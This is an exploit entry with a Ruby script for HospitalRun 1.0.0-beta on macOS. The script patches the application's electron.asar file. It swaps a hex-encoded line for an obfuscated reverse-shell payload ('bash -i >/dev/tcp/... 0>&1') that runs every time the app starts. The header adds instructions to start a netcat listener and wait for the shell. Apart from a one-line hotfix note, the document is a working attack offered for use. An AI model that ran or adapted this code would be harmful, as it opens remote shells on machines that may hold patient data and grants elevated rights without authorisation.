HospitalRun 1.0.0-beta – Local Root Exploit for macOS
# Exploit Title: HospitalRun 1.0.0-beta - Local Root Exploit for macOS # Written by Jean Pereira <info@cytres.com> # Date: 2023/03/04 # Vendor Homepage: https://hospitalrun.io # Software Link: https://github.com/HospitalRun/hospitalrun-frontend/releases/download/1.0.0-beta/HospitalRun.dmg # Version: 1.0.0-beta # Tested on: macOS Ventura 13.2.1 (22D68) # Impact: Command Execution, Privilege Escalation # Instructions: # Run local TCP listener with (e.g. nc -l 2222) # Run exploit # Wait for HospitalRun to be executed # Profit (privileged rights e.g. root are gained) # Hotfix: Remove write permissions from electron.asar to patch this vulnerability # Exploit: buffer = "\x63\x6F\x6E\x73\x74\x20\x72\x65\x6E" + "\x64\x65\x72\x50\x72\x6F\x63\x65\x73" + "\x73\x50\x72\x65\x66\x65\x72\x65\x6E" + "\x63\x65\x73\x20\x3D\x20\x70\x72\x6F" + "\x63\x65\x73\x73\x2E\x61\x74\x6F\x6D" + "\x42\x69\x6E\x64\x69\x6E\x67\x28\x27" + "\x72\x65\x6E\x64\x65\x72\x5F\x70\x72" + "\x6F\x63\x65\x73\x73\x5F\x70\x72\x65" + "\x66\x65\x72\x65\x6E\x63\x65\x73\x27" + "\x29\x2E\x66\x6F\x72\x41\x6C\x6C\x57" + "\x65\x62\x43\x6F\x6E\x74\x65\x6E\x74" + "\x73\x28\x29" payload = "\x72\x65\x71\x75\x69\x72\x65\x28\x22" + "\x63\x68\x69\x6C\x64\x5F\x70\x72\x6F" + "\x63\x65\x73\x73\x22\x29\x2E\x65\x78" + "\x65\x63\x53\x79\x6E\x63\x28\x22\x2F" + "\x62\x69\x6E\x2F\x62\x61\x73\x68\x20" + "\x2D\x63\x20\x27\x65\x78\x65\x63\x20" + "\x62\x61\x73\x68\x20\x2D\x69\x20\x3E" + "\x2F\x64\x65\x76\x2F\x74\x63\x70\x2F" + "\x30\x2E\x30\x2E\x30\x2E\x30\x2F\x32" + "\x32\x32\x32\x20\x30\x3E\x26\x31\x27" + "\x22\x29" nopsled = "\x2F\x2A\x2A\x2A\x2A" + "\x2A\x2A\x2A\x2A\x2F" File.open("/Applications/HospitalRun.app/Contents/Resources/electron.asar", "rb+") do |file| electron = file.read electron.gsub!(buffer, payload + nopsled) file.pos = 0 file.write(electron) end |